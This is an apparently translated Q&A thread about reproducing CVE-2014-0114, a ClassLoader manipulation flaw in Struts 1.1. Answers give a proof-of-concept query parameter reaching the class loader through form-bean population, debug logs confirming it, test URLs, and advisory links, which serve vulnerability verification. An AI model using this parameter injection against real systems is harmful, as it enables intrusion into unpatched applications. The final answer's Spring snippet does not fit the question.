struts 1.1中的类加载器漏洞重现过程

时间:2014-05-05 03:49:01

标签: security jboss classloader struts-1 reproducible-research

在Struts1中,我听说有一个由CVE-2014-0114引起的类加载器漏洞问题。但是我无法在我的项目中重现这一点。任何人都可以帮助我如何重现这个问题。我用谷歌搜索,但没有得到任何再现的程序。

我在网上使用struts-1.1Jboss -4.2.3.GAApache 2.2.0MySql 5.0.37JKModJDK 1.6.0_12Ant 1.7.0项目

5 个答案:

答案 0 :(得分:11)

尝试调用映射到struts操作的URL(由操作表单支持)。框架将尝试从查询参数填充表单bean。因此,如果您有?class.classLoader.defaultAssertionStatus=true之类的查询参数,则会转换为formBean.getClass().getClassLoader().setDefaultAssertionStatus(true)

如果您启用了调试日志记录,则会看到以下消息:

2014-05-05 12:57:50,238 DEBUG [org.apache.struts.action.RequestProcessor]  Populating bean properties from this request
2014-05-05 12:57:50,238 DEBUG [org.apache.commons.beanutils.BeanUtils] BeanUtils.populate(com.xxx.struts.demo.web.form.SimpleForm@71909bc, {class.classLoader.defaultAssertionStatus=[Ljava.lang.String;@a6b23fd4})
2014-05-05 12:57:50,238 DEBUG [org.apache.commons.beanutils.BeanUtils]   setProperty(com.xxx.struts.demo.web.form.SimpleForm@71909bc, class.classLoader.defaultAssertionStatus, [true])
2014-05-05 12:57:50,246 DEBUG [org.apache.commons.beanutils.BeanUtils]     Target bean = com.ibm.ws.classloading.internal.AppClassLoader@3ac10955
2014-05-05 12:57:50,246 DEBUG [org.apache.commons.beanutils.BeanUtils]     Target name = defaultAssertionStatus
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.ConvertUtils] Convert string 'true' to class 'boolean'
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.ConvertUtils]   Using converter org.apache.commons.beanutils.converters.BooleanConverter@de2943ef
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.PropertyUtils] setSimpleProperty: Invoking method public void java.lang.ClassLoader.setDefaultAssertionStatus(boolean) with value true (class java.lang.Boolean)

答案 1 :(得分:2)

我尝试了两种以上的方式来重现目的。它工作正常。

  1. http://127.0.0.1:8080/MyFormGroupEditSection.do?com.macao.DelphyHacker.Marathonclass.marathonId=34&groupId=862
  2. http://127.0.0.1:8080/MyFormGroupEditSection.do?class.classLoader=true&groupId=862
  3. 出于此问题的解决方案,我想添加一些注释。您可以关注这2个链接。希望它能帮助你消除这个问题。

    http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Protect-your-Struts1-applications/ba-p/6463188#.U2J7xeaSxro

    http://mail-archives.apache.org/mod_mbox/struts-announcements/201405.mbox/%3C53629980.8060805%40apache.org%3E

答案 2 :(得分:0)

答案 3 :(得分:0)

除了上面的解决方案之外,我想指出在defaultAssertionStatus = enabled;内的setDefaultAssertionStatus行的ClassLoader中添加一个断点,并且在私有布尔defaultAssertionStatus = false;行中添加一个观察者是一个很好的验证上述网址修改:?class.classLoader.defaultAssertionStatu‌​s=true是否有效的方法 defaultAssertionStatus 现在应该是真的。

希望这有帮助!

答案 4 :(得分:0)

类似的东西可以测试(至少在代码中)

@PostMapping(value = "/uploads", consumes = MediaType.MULTIPART_FORM_DATA_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity uploads(MultipartHttpServletRequest request) {
      // use request.getFileMap() and request.getParameterMap()

}